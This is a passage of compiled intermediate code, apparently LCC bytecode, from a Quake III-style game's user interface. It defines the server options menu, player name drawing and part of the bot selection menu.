INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 s_startserver+1956 ADDP4 INDIRI4 ARGI4 ADDRLP4 36 ADDRGP4 UI_GetArenaInfoByNumber CALLP4 ASGNP4 ADDRLP4 16 ADDRLP4 36 INDIRP4 ASGNP4 ADDRLP4 16 INDIRP4 ARGP4 ADDRGP4 $105 ARGP4 ADDRLP4 40 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 0 ARGP4 ADDRLP4 40 INDIRP4 ARGP4 CNSTI4 16 ARGI4 ADDRGP4 Q_strncpyz CALLV pop ADDRLP4 0 ARGP4 ADDRGP4 Q_strupr CALLP4 pop ADDRGP4 $829 ARGP4 CNSTI4 64 ARGI4 ADDRGP4 $106 ARGP4 ADDRLP4 0 ARGP4 ADDRGP4 Com_sprintf CALLI4 pop ADDRGP4 s_serveroptions+360+4 ADDRGP4 $829 ASGNP4 ADDRGP4 s_serveroptions+5696 ARGP4 ADDRGP4 s_startserver+1776+60 INDIRP4 ARGP4 ADDRGP4 qk_strcpy CALLP4 pop ADDRGP4 s_serveroptions+5696 ARGP4 ADDRGP4 Q_strupr CALLP4 pop ADDRGP4 ServerOptions_InitPlayerItems CALLV pop ADDRGP4 ServerOptions_SetPlayerItems CALLV pop ADDRGP4 ServerOptions_InitBotNames CALLV pop ADDRGP4 ServerOptions_SetPlayerItems CALLV pop LABELV $828 endproc ServerOptions_SetMenuItems 104 16 proc PlayerName_Draw 52 20 ADDRLP4 0 ADDRFP4 0 INDIRP4 ASGNP4 ADDRLP4 8 ADDRLP4 0 INDIRP4 CNSTI4 12 ADDP4 INDIRI4 ASGNI4 ADDRLP4 32 CNSTI4 16 ASGNI4 ADDRLP4 12 ADDRLP4 0 INDIRP4 ADDRLP4 32 INDIRI4 ADDP4 INDIRI4 ASGNI4 ADDRLP4 16 ADDRLP4 32 INDIRI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 36 ADDP4 INDIRP4 INDIRI4 ADDRLP4 0 INDIRP4 CNSTI4 40 ADDP4 INDIRI4 NEI4 $885 ADDRLP4 24 CNSTI4 1 ASGNI4 ADDRGP4 $886 JUMPV LABELV $885 ADDRLP4 24 CNSTI4 0 ASGNI4 LABELV $886 ADDRLP4 20 ADDRLP4 24 INDIRI4 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 44 ADDP4 INDIRU4 CNSTU4 8192 BANDU4 CNSTU4 0 EQU4 $887 ADDRLP4 4 ADDRGP4 text_color_disabled ASGNP4 ADDRGP4 $888 JUMPV LABELV $887 ADDRLP4 20 INDIRI4 CNSTI4 0 EQI4 $889 ADDRLP4 4 ADDRGP4 text_color_highlight ASGNP4 ADDRLP4 16 ADDRLP4 16 INDIRI4 CNSTI4 16384 BORI4 ASGNI4 ADDRGP4 $890 JUMPV LABELV $889 ADDRLP4 0 INDIRP4 CNSTI4 44 ADDP4 INDIRU4 CNSTU4 1 BANDU4 CNSTU4 0 EQU4 $891 ADDRLP4 4 ADDRGP4 text_color_highlight ASGNP4 ADDRLP4 16 ADDRLP4 16 INDIRI4 CNSTI4 4096 BORI4 ASGNI4 ADDRGP4 $892 JUMPV LABELV $891 ADDRLP4 4 ADDRGP4 text_color_normal ASGNP4 LABELV $892 LABELV $890 LABELV $888 ADDRLP4 20 INDIRI4 CNSTI4 0 EQI4 $893 ADDRLP4 40 ADDRLP4 0 INDIRP4 CNSTI4 20 ADDP4 INDIRI4 ASGNI4 ADDRLP4 40 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 44 ADDRLP4 0 INDIRP4 CNSTI4 24 ADDP4 INDIRI4 ASGNI4 ADDRLP4 44 INDIRI4 CVIF4 4 ARGF4 ADDRLP4 48 CNSTI4 1 ASGNI4 ADDRLP4 0 INDIRP4 CNSTI4 28 ADDP4 INDIRI4 ADDRLP4 40 INDIRI4 SUBI4 ADDRLP4 48 INDIRI4 ADDI4 CVIF4 4 ARGF4 ADDRLP4 0 INDIRP4 CNSTI4 32 ADDP4 INDIRI4 ADDRLP4 44 INDIRI4 SUBI4 ADDRLP4 48 INDIRI4 ADDI4 CVIF4 4 ARGF4 ADDRGP4 listbar_color ARGP4 ADDRGP4 UI_FillRect CALLV pop ADDRLP4 8 INDIRI4 ARGI4 ADDRLP4 12 INDIRI4 ARGI4 CNSTI4 13 ARGI4 CNSTI4 4113 ARGI4 ADDRLP4 4 INDIRP4 ARGP4 ADDRGP4 UI_DrawChar CALLV pop LABELV $893 ADDRLP4 8 INDIRI4 CNSTI4 8 SUBI4 ARGI4 ADDRLP4 12 INDIRI4 ARGI4 ADDRLP4 0 INDIRP4 CNSTI4 4 ADDP4 INDIRP4 ARGP4 ADDRLP4 16 INDIRI4 CNSTI4 2 BORI4 ARGI4 ADDRLP4 4 INDIRP4 ARGP4 ADDRGP4 UI_DrawString CALLV pop ADDRLP4 8 INDIRI4 CNSTI4 8 ADDI4 ARGI4 ADDRLP4 12 INDIRI4 ARGI4 ADDRLP4 0 INDIRP4 CNSTI4 60 ADDP4 INDIRP4 ARGP4 ADDRLP4 16 INDIRI4 ARGI4 ADDRLP4 4 INDIRP4 ARGP4 ADDRGP4 UI_DrawString CALLV pop LABELV $883 endproc PlayerName_Draw 52 20 proc ServerOptions_MenuInit 52 12 ADDRGP4 s_serveroptions ARGP4 CNSTI4 0 ARGI4 CNSTU4 6040 ARGU4 ADDRGP4 qk_memset CALLP4 pop ADDRGP4 s_serveroptions+5688 ADDRFP4 0 INDIRI4 ASGNI4 ADDRGP4 $898 ARGP4 ADDRLP4 8 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1082130432 ARGF4 ADDRLP4 8 INDIRF4 ARGF4 ADDRLP4 12 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+5692 ADDRLP4 12 INDIRF4 CVFI4 4 ASGNI4 ADDRGP4 $571 ARGP4 ADDRLP4 16 ADDRGP4 trap_Cvar_VariableValue CALLF4 ASGNF4 CNSTF4 0 ARGF4 CNSTF4 1065353216 ARGF4 ADDRLP4 16 INDIRF4 ARGF4 ADDRLP4 20 ADDRGP4 Com_Clamp CALLF4 ASGNF4 ADDRGP4 s_serveroptions+5944+64 ADDRLP4 20 INDIRF4 CVFI4 4 ASGNI4 ADDRGP4 ServerOptions_Cache CALLV pop ADDRGP4 s_serveroptions+276 CNSTI4 1 ASGNI4 ADDRGP4 s_serveroptions+280 CNSTI4 1 ASGNI4 ADDRGP4 s_serveroptions+288 CNSTI4 10 ASGNI4 ADDRGP4 s_serveroptions+288+12 CNSTI4 320 ASGNI4 ADDRGP4 s_serveroptions+288+16 CNSTI4 16 ASGNI4 ADDRGP4 s_serveroptions+288+60 ADDRGP4 $234 ASGNP4 ADDRGP4 s_serveroptions+288+68 ADDRGP4 color_white ASGNP4 ADDRGP4 s_serveroptions+288+64 CNSTI4 1 ASGNI4 ADDRGP4 s_serveroptions+360 CNSTI4 6 ASGNI4 ADDRGP4 s_serveroptions+360+44 CNSTU4 16388 ASGNU4 ADDRGP4 s_serveroptions+360+12 CNSTI4 352 ASGNI4 ADDRGP4 s_serveroptions+360+16 CNSTI4 80 ASGNI4 ADDRGP4 s_serveroptions+360+76 CNSTI4 160 ASGNI4 ADDRGP4 s_serveroptions+360+80 CNSTI4 120 ASGNI4 ADDRGP4 s_serveroptions+360+64 ADDRGP4 $305 ASGNP4 ADDRGP4 s_serveroptions+360+56 ADDRGP4 ServerOptions_LevelshotDraw ASGNP4 ADDRGP4 s_serveroptions+448 CNSTI4 6 ASGNI4 ADDRGP4 s_serveroptions+448+44 CNSTU4 16452 ASGNU4 ADDRGP4 s_serveroptions+448+12 CNSTI4 314 ASGNI4 ADDRGP4 s_serveroptions+448+16 CNSTI4 40 ASGNI4 ADDRGP4 s_serveroptions+448+76 CNSTI4 320 ASGNI4 ADDRGP4 s_serveroptions+448+80 CNSTI4 320 ASGNI4 ADDRGP4 s_serveroptions+448+60 ADDRGP4 $333 ASGNP4 ADDRLP4 4 CNSTI4 272 ASGNI4 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 4 EQI4 $942 ADDRGP4 s_serveroptions+964 CNSTI4 4 ASGNI4 ADDRGP4 s_serveroptions+964+4 ADDRGP4 $948 ASGNP4 ADDRGP4 s_serveroptions+964+44 CNSTU4 290 ASGNU4 ADDRGP4 s_serveroptions+964+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+964+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+964+52 ADDRGP4 ServerOptions_StatusBar ASGNP4 ADDRGP4 s_serveroptions+964+60+8 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+964+60+268 CNSTI4 3 ASGNI4 ADDRGP4 $943 JUMPV LABELV $942 ADDRGP4 s_serveroptions+1296 CNSTI4 4 ASGNI4 ADDRGP4 s_serveroptions+1296+4 ADDRGP4 $966 ASGNP4 ADDRGP4 s_serveroptions+1296+44 CNSTU4 290 ASGNU4 ADDRGP4 s_serveroptions+1296+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+1296+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+1296+52 ADDRGP4 ServerOptions_StatusBar ASGNP4 ADDRGP4 s_serveroptions+1296+60+8 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+1296+60+268 CNSTI4 3 ASGNI4 LABELV $943 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 18 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+632 CNSTI4 4 ASGNI4 ADDRGP4 s_serveroptions+632+4 ADDRGP4 $984 ASGNP4 ADDRGP4 s_serveroptions+632+44 CNSTU4 290 ASGNU4 ADDRGP4 s_serveroptions+632+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+632+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+632+52 ADDRGP4 ServerOptions_StatusBar ASGNP4 ADDRGP4 s_serveroptions+632+60+8 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+632+60+268 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $999 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 18 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+1628 CNSTI4 5 ASGNI4 ADDRGP4 s_serveroptions+1628+44 CNSTU4 258 ASGNU4 ADDRGP4 s_serveroptions+1628+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+1628+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+1628+4 ADDRGP4 $1011 ASGNP4 LABELV $999 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 18 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+2024 CNSTI4 5 ASGNI4 ADDRGP4 s_serveroptions+2024+44 CNSTU4 258 ASGNU4 ADDRGP4 s_serveroptions+2024+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+2024+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+2024+4 ADDRGP4 $1021 ASGNP4 ADDRGP4 s_serveroptions+5688 INDIRI4 CNSTI4 0 EQI4 $1022 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 18 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+536 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+536+8 CNSTI4 22 ASGNI4 ADDRGP4 s_serveroptions+536+44 CNSTU4 258 ASGNU4 ADDRGP4 s_serveroptions+536+48 ADDRGP4 ServerOptions_Event ASGNP4 ADDRGP4 s_serveroptions+536+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+536+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+536+4 ADDRGP4 $1038 ASGNP4 ADDRGP4 s_serveroptions+536+76 ADDRGP4 dedicated_list ASGNP4 LABELV $1022 ADDRGP4 s_serveroptions+5688 INDIRI4 CNSTI4 0 EQI4 $1041 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 18 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+1692 CNSTI4 4 ASGNI4 ADDRGP4 s_serveroptions+1692+4 ADDRGP4 $1047 ASGNP4 ADDRGP4 s_serveroptions+1692+44 CNSTU4 2 ASGNU4 ADDRGP4 s_serveroptions+1692+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+1692+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+1692+60+8 CNSTI4 18 ASGNI4 ADDRGP4 s_serveroptions+1692+60+268 CNSTI4 64 ASGNI4 LABELV $1041 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 18 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+5944 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+5944+4 ADDRGP4 $1063 ASGNP4 ADDRGP4 s_serveroptions+5944+44 CNSTU4 258 ASGNU4 ADDRGP4 s_serveroptions+5944+8 CNSTI4 0 ASGNI4 ADDRGP4 s_serveroptions+5944+12 CNSTI4 456 ASGNI4 ADDRGP4 s_serveroptions+5944+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+5944+76 ADDRGP4 punkbuster_items ASGNP4 ADDRLP4 4 CNSTI4 80 ASGNI4 ADDRGP4 s_serveroptions+2088 CNSTI4 3 ASGNI4 ADDRGP4 s_serveroptions+2088+44 CNSTU4 258 ASGNU4 ADDRGP4 s_serveroptions+2088+4 ADDRGP4 $1079 ASGNP4 ADDRGP4 s_serveroptions+2088+4 INDIRP4 ARGP4 ADDRLP4 24 ADDRGP4 qk_strlen CALLU4 ASGNU4 ADDRGP4 s_serveroptions+2088+12 ADDRLP4 24 INDIRU4 CNSTU4 2 ADDU4 CNSTI4 3 LSHU4 CNSTU4 32 ADDU4 CVUI4 4 ASGNI4 ADDRGP4 s_serveroptions+2088+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+2088+76 ADDRGP4 botSkill_list ASGNP4 ADDRGP4 s_serveroptions+2088+64 CNSTI4 1 ASGNI4 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 32 ADDI4 ASGNI4 ADDRGP4 s_serveroptions+2184 CNSTI4 7 ASGNI4 ADDRGP4 s_serveroptions+2184+44 CNSTU4 2 ASGNU4 ADDRGP4 s_serveroptions+2184+12 CNSTI4 40 ASGNI4 ADDRGP4 s_serveroptions+2184+16 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 s_serveroptions+2184+68 ADDRGP4 color_orange ASGNP4 ADDRGP4 s_serveroptions+2184+64 CNSTI4 16 ASGNI4 ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $1101 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256 ADDP4 CNSTI4 3 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+44 ADDP4 CNSTU4 2 ASGNU4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+8 ADDP4 CNSTI4 20 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+48 ADDP4 ADDRGP4 ServerOptions_Event ASGNP4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+12 ADDP4 CNSTI4 32 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+16 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256+76 ADDP4 ADDRGP4 playerType_list ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408 ADDP4 CNSTI4 7 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+44 ADDP4 CNSTU4 2 ASGNU4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+12 ADDP4 CNSTI4 96 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+16 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+48 ADDP4 ADDRGP4 ServerOptions_PlayerNameEvent ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+8 ADDP4 ADDRLP4 0 INDIRI4 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+56 ADDP4 ADDRGP4 PlayerName_Draw ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+68 ADDP4 ADDRGP4 color_orange ASGNP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+64 ADDP4 CNSTI4 16 ASGNI4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408+60 ADDP4 ADDRLP4 0 INDIRI4 CNSTI4 4 LSHI4 ADDRGP4 s_serveroptions+5728 ADDP4 ASGNP4 ADDRLP4 36 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ASGNI4 ADDRLP4 36 INDIRI4 ADDRGP4 s_serveroptions+3408+24 ADDP4 ADDRLP4 36 INDIRI4 ADDRGP4 s_serveroptions+3408+16 ADDP4 INDIRI4 ASGNI4 ADDRLP4 40 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ASGNI4 ADDRLP4 40 INDIRI4 ADDRGP4 s_serveroptions+3408+32 ADDP4 ADDRLP4 40 INDIRI4 ADDRGP4 s_serveroptions+3408+16 ADDP4 INDIRI4 CNSTI4 16 ADDI4 ASGNI4 ADDRLP4 44 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ASGNI4 ADDRLP4 44 INDIRI4 ADDRGP4 s_serveroptions+3408+20 ADDP4 ADDRLP4 44 INDIRI4 ADDRGP4 s_serveroptions+3408+12 ADDP4 INDIRI4 CNSTI4 8 SUBI4 ASGNI4 ADDRLP4 48 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ASGNI4 ADDRLP4 48 INDIRI4 ADDRGP4 s_serveroptions+3408+28 ADDP4 ADDRLP4 48 INDIRI4 ADDRGP4 s_serveroptions+3408+12 ADDP4 INDIRI4 CNSTI4 128 ADDI4 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272 ADDP4 CNSTI4 3 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+44 ADDP4 CNSTU4 2 ASGNU4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+12 ADDP4 CNSTI4 240 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+16 ADDP4 ADDRLP4 4 INDIRI4 ASGNI4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272+76 ADDP4 ADDRGP4 playerTeam_list ASGNP4 ADDRLP4 4 ADDRLP4 4 INDIRI4 CNSTI4 20 ADDI4 ASGNI4 LABELV $1102 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $1101 ADDRGP4 s_serveroptions+5600 CNSTI4 6 ASGNI4 ADDRGP4 s_serveroptions+5600+4 ADDRGP4 $400 ASGNP4 ADDRGP4 s_serveroptions+5600+44 CNSTU4 260 ASGNU4 ADDRGP4 s_serveroptions+5600+48 ADDRGP4 ServerOptions_Event ASGNP4 ADDRGP4 s_serveroptions+5600+8 CNSTI4 24 ASGNI4 ADDRGP4 s_serveroptions+5600+12 CNSTI4 0 ASGNI4 ADDRGP4 s_serveroptions+5600+16 CNSTI4 416 ASGNI4 ADDRGP4 s_serveroptions+5600+76 CNSTI4 128 ASGNI4 ADDRGP4 s_serveroptions+5600+80 CNSTI4 64 ASGNI4 ADDRGP4 s_serveroptions+5600+60 ADDRGP4 $417 ASGNP4 ADDRGP4 s_serveroptions+5512 CNSTI4 6 ASGNI4 ADDRGP4 s_serveroptions+5512+4 ADDRGP4 $421 ASGNP4 ADDRGP4 s_serveroptions+5512+44 CNSTU4 28944 ASGNU4 ADDRGP4 s_serveroptions+5512+48 ADDRGP4 ServerOptions_Event ASGNP4 ADDRGP4 s_serveroptions+5512+8 CNSTI4 18 ASGNI4 ADDRGP4 s_serveroptions+5512+12 CNSTI4 640 ASGNI4 ADDRGP4 s_serveroptions+5512+16 CNSTI4 344 ASGNI4 ADDRGP4 s_serveroptions+5512+52 ADDRGP4 ServerOptions_StatusBar ASGNP4 ADDRGP4 s_serveroptions+5512+76 CNSTI4 128 ASGNI4 ADDRGP4 s_serveroptions+5512+80 CNSTI4 64 ASGNI4 ADDRGP4 s_serveroptions+5512+60 ADDRGP4 $438 ASGNP4 ADDRGP4 s_serveroptions+5424 CNSTI4 6 ASGNI4 ADDRGP4 s_serveroptions+5424+4 ADDRGP4 $1206 ASGNP4 ADDRGP4 s_serveroptions+5424+44 CNSTU4 272 ASGNU4 ADDRGP4 s_serveroptions+5424+48 ADDRGP4 ServerOptions_Event ASGNP4 ADDRGP4 s_serveroptions+5424+8 CNSTI4 23 ASGNI4 ADDRGP4 s_serveroptions+5424+12 CNSTI4 640 ASGNI4 ADDRGP4 s_serveroptions+5424+16 CNSTI4 416 ASGNI4 ADDRGP4 s_serveroptions+5424+76 CNSTI4 128 ASGNI4 ADDRGP4 s_serveroptions+5424+80 CNSTI4 64 ASGNI4 ADDRGP4 s_serveroptions+5424+60 ADDRGP4 $1223 ASGNP4 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+288 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+360 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+448 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+2088 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+2184 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRLP4 0 CNSTI4 0 ASGNI4 LABELV $1229 ADDRLP4 0 INDIRI4 CNSTI4 0 EQI4 $1233 ADDRGP4 s_serveroptions ARGP4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+2256 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1233 ADDRGP4 s_serveroptions ARGP4 CNSTI4 72 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+3408 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $1237 ADDRGP4 s_serveroptions ARGP4 CNSTI4 96 ADDRLP4 0 INDIRI4 MULI4 ADDRGP4 s_serveroptions+4272 ADDP4 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1237 LABELV $1230 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 ADDRLP4 0 INDIRI4 CNSTI4 12 LTI4 $1229 ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 4 EQI4 $1241 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+964 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 $1242 JUMPV LABELV $1241 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+1296 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1242 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+632 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions+5692 INDIRI4 CNSTI4 3 LTI4 $1247 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+1628 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1247 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+2024 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions+5688 INDIRI4 CNSTI4 0 EQI4 $1252 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+536 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1252 ADDRGP4 s_serveroptions+5688 INDIRI4 CNSTI4 0 EQI4 $1256 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+1692 ARGP4 ADDRGP4 Menu_AddItem CALLV pop LABELV $1256 ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+5600 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+5512 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+5424 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 s_serveroptions+5944 ARGP4 ADDRGP4 Menu_AddItem CALLV pop ADDRGP4 ServerOptions_SetMenuItems CALLV pop LABELV $895 endproc ServerOptions_MenuInit 52 12 export ServerOptions_Cache proc ServerOptions_Cache 0 4 ADDRGP4 $400 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $417 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $1206 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $1223 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $333 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop ADDRGP4 $305 ARGP4 ADDRGP4 trap_R_RegisterShaderNoMip CALLI4 pop LABELV $1264 endproc ServerOptions_Cache 0 4 proc UI_ServerOptionsMenu 0 4 ADDRFP4 0 INDIRI4 ARGI4 ADDRGP4 ServerOptions_MenuInit CALLV pop ADDRGP4 s_serveroptions ARGP4 ADDRGP4 UI_PushMenu CALLV pop LABELV $1265 endproc UI_ServerOptionsMenu 0 4 proc UI_BotSelectMenu_SortCompare 44 8 ADDRLP4 0 ADDRFP4 0 INDIRP4 INDIRI4 ASGNI4 ADDRLP4 4 ADDRFP4 4 INDIRP4 INDIRI4 ASGNI4 ADDRLP4 0 INDIRI4 ARGI4 ADDRLP4 24 ADDRGP4 UI_GetBotInfoByNumber CALLP4 ASGNP4 ADDRLP4 8 ADDRLP4 24 INDIRP4 ASGNP4 ADDRLP4 4 INDIRI4 ARGI4 ADDRLP4 28 ADDRGP4 UI_GetBotInfoByNumber CALLP4 ASGNP4 ADDRLP4 12 ADDRLP4 28 INDIRP4 ASGNP4 ADDRLP4 8 INDIRP4 ARGP4 ADDRGP4 $635 ARGP4 ADDRLP4 32 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 16 ADDRLP4 32 INDIRP4 ASGNP4 ADDRLP4 12 INDIRP4 ARGP4 ADDRGP4 $635 ARGP4 ADDRLP4 36 ADDRGP4 Info_ValueForKey CALLP4 ASGNP4 ADDRLP4 20 ADDRLP4 36 INDIRP4 ASGNP4 ADDRLP4 16 INDIRP4 ARGP4 ADDRLP4 20 INDIRP4 ARGP4 ADDRLP4 40 ADDRGP4 Q_stricmp CALLI4 ASGNI4 ADDRLP4 40 INDIRI4 RETI4 LABELV $1267 endproc UI_BotSelectMenu_SortCompare 44 8 proc UI_BotSelectMenu_BuildList 12 16 ADDRGP4 botSelectInfo+4772 CNSTI4 0 ASGNI4 ADDRLP4 4 ADDRGP4 UI_GetNumBots CALLI4 ASGNI4 ADDRGP4 botSelectInfo+4768 ADDRLP4 4 INDIRI4 ASGNI4 ADDRGP4 botSelectInfo+4776 ADDRGP4 botSelectInfo+4768 INDIRI4 CNSTI4 16 DIVI4 ASGNI4 ADDRGP4 botSelectInfo+4768 INDIRI4 CNSTI4 16 MODI4 CNSTI4 0 EQI4 $1273 ADDRLP4 8 ADDRGP4 botSelectInfo+4776 ASGNP4 ADDRLP4 8 INDIRP4 ADDRLP4 8 INDIRP4 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $1273 ADDRLP4 0 CNSTI4 0 ASGNI4 ADDRGP4 $1280 JUMPV LABELV $1277 ADDRLP4 0 INDIRI4 CNSTI4 2 LSHI4 ADDRGP4 botSelectInfo+4784 ADDP4 ADDRLP4 0 INDIRI4 ASGNI4 LABELV $1278 ADDRLP4 0 ADDRLP4 0 INDIRI4 CNSTI4 1 ADDI4 ASGNI4 LABELV $1280 ADDRLP4 0 INDIRI4 ADDRGP4 botSelectInfo+4768 INDIRI4 LTI4 $1277 ADDRGP4 botSelectInfo+4784 ARGP4 ADDRGP4 botSelectInfo+4768 